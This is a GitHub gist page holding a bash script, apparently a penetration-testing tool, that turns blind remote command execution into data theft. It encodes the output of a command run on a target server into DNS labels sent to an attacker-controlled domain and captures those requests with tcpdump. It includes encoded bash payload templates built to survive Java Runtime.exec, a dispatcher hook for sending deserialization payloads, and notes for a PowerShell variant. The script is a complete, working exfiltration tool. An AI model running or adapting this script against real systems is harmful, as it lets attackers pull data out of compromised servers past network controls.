Skip to content

Instantly share code, notes, and snippets.

@irsdl
Created October 13, 2020 09:49
Show Gist options
  • Star 1 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save irsdl/5b237ca64fcaf50e2cb4ffd0817f661e to your computer and use it in GitHub Desktop.
Save irsdl/5b237ca64fcaf50e2cb4ffd0817f661e to your computer and use it in GitHub Desktop.
A bash script that automates the exfiltration of data over dns in case we have a blind command execution on a server where all outbound connections except DNS are blocked.
#!/bin/bash
: '
Usage:
./dns_data_exfiltration.sh "ls -lh" #the output of "ls -lh" will be exfiltrated over dns
Todo:
1. add support for powershell
something like the following should do the trick but haven't tested it:
outer_cmd_template="powershell -enc %CMD_B64%"
user_cmd_template="[Convert]::ToBase64String([System.Text.Encoding]::UTF8.GetBytes((${1}))).Substring(%INDEX%,%COUNT%)"
user_cmd_out_len="[Convert]::ToBase64String([System.Text.Encoding]::UTF8.GetBytes((${1}))).length"
set the global win=1
and pray
2. currently the given command is executed multiple times on the server until all of its output is exfiltrated. That's not too bad unless
the command we are running is not idempotent or is time/resource intensive. We can add the option that would allow first storing the
results in a file and all the subsequent calls read from that file instead of executing the initial command again and again.
work around: manually execute cmd>/tmp/file and then run cat/dd the file
3. parallelize the data extraction loop, e.g. run the bottom part of the loop in a subshell and use dd seek=${index_base}
to write the exfiltrated data to a file
'
dns_prog="ping -c10" #the command that will trigger the dns requests on the target server. note: nslookup is blocked by some wafs
dns_host=uid.yourdns.ns #uid can be an identifier for the assessment target
nlabels=3 #data1.data2.data3.uid.yourdns.ns
label_size=30 #len(data1)
dispatcher=/path/to/dispatcher #the dispatcher should take as argument a command and have it executed on the target server, e.g. curl https://vulnerable_server -d $(ysoserial ... $(1))
get_dns_traffic_cmd=(stdbuf -oL tcpdump --immediate -l "udp port 53") #the command that will be used to capture dns traffic
oci=0
debug=0
##################
base64_path=$(command -v base64)
function debug_print {
[[ $debug -ne 0 ]] && echo "$@"
}
function base64 {
local target_enc="UTF-8"
[[ $win -eq 1 ]] && target_enc=UTF-16LE #bash appears to accept this encoding but since it almost doubles the size of the output we keep them separate
if [[ $1 != -d ]]; then #needs some clean up, maybe create base64_encode,decode
iconv -f UTF-8 -t "$target_enc" | "${base64_path}" "$@"
else
"${base64_path}" "$@"
fi
}
function listen_for {
local data
local dns_req_host
local postfix="$1"
while read -r line || [[ -n $line ]]; do
if [[ $line == *"${postfix}"* ]]; then
dns_req_host=$(echo "$line"|grep -Eo "[^ ]+${postfix}")
data=${dns_req_host%${postfix}}
break
fi
done < <("${get_dns_traffic_cmd[@]}" 2>/dev/null)
printf %s $data
}
run_uid=$(date +%s) #used to identify the traffic generated by the current session
unique_dns_host="${run_uid}.${dns_host}"
#java.lang.Runtime.exec friendly commands
outer_cmd_template_arr=('bash -c {echo,%CMD_B64%}|{base64,-d}|bash')
outer_cmd_template_arr+=('bash -c $@|base64${IFS}-d|bash . echo %CMD_B64%')
outer_cmd_template=${outer_cmd_template_arr[oci]}
innerdns_cmd_template=' %DNS_PROG% %USER_CMD%.%UNIQUE_DNS_HOST%'
user_cmd_template="\`(${1})|base64 -w0|{ read -r c;printf \${c:%INDEX%:%COUNT%}; }\`"
user_cmd_out_len="\`(${1})|base64 -w0|wc -c\`"
[[ $EUID -ne 0 ]] && read -p "Might not have permissions to run tcpdump, type something to continue: "
#extracting command output length
pre_innerdns_cmd=${innerdns_cmd_template/'%DNS_PROG%'/$dns_prog}
pre_innerdns_cmd=${pre_innerdns_cmd/'%UNIQUE_DNS_HOST%'/$unique_dns_host}
innerdns_cmd=${pre_innerdns_cmd/'%USER_CMD%'/${user_cmd_out_len}.len}
cmd_b64=$(echo "$innerdns_cmd"|base64 -w0)
debug_print "cmd_b64=$cmd_b64"
outer_cmd=${outer_cmd_template/'%CMD_B64%'/$cmd_b64}
debug_print "outer_cmd=$outer_cmd"
"$dispatcher" "$outer_cmd" >/dev/null 2>&1 &
cmd_out_len=$(listen_for ".len.${unique_dns_host}")
echo "The command output length is: $cmd_out_len"
#extracting the command output
pre_innerdns_cmd=${innerdns_cmd_template/'%DNS_PROG%'/$dns_prog}
pre_innerdns_cmd=${pre_innerdns_cmd/'%UNIQUE_DNS_HOST%'/$unique_dns_host}
cmd_out=""
for ((index_base=0;index_base<${cmd_out_len};index_base+=${nlabels}*${label_size}));do
innerdns_cmd=${pre_innerdns_cmd/'%USER_CMD%'/'%USER_CMD%'.iter${index_base}}
for index in `seq $((index_base)) ${label_size} $((index_base+(nlabels-1)*label_size))`;do
[[ $index -ge $cmd_out_len ]] && break
count=$(((cmd_out_len-index)>label_size?label_size:cmd_out_len-index))
user_cmd=${user_cmd_template/'%INDEX%'/${index}}
user_cmd=${user_cmd/'%COUNT%'/${count}}
innerdns_cmd=${innerdns_cmd/'%USER_CMD%'/${user_cmd}.'%USER_CMD%'}
done
innerdns_cmd=${innerdns_cmd/'.%USER_CMD%'}
cmd_b64=$(echo "$innerdns_cmd"|base64 -w0)
debug_print "cmd_b64=$cmd_b64"
outer_cmd=${outer_cmd_template/'%CMD_B64%'/$cmd_b64}
debug_print "outer_cmd=$outer_cmd"
"$dispatcher" "$outer_cmd" >/dev/null 2>&1 &
data=$(listen_for ".iter${index_base}.${unique_dns_host}")
debug_print "data for index_base=${index_base}: $data"
cmd_out="${cmd_out}${data}"
debug_print "$cmd_out"
printf "\r[$index_base/$cmd_out_len]"
done && echo
cmd_out=$(echo $cmd_out | tr -d .)
#undivided_data_len=$((cmd_out_len/label_size*label_size))
#remainder_len=$((cmd_out_len-undivided_data_len))
#cmd_out_adjusted="${cmd_out:0:undivided_data_len}"
#cmd_out_adjusted="${cmd_out_adjusted}${cmd_out:undivided_data_len+label_size-remainder_len:remainder_len}"
echo "$cmd_out" | base64 -d
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment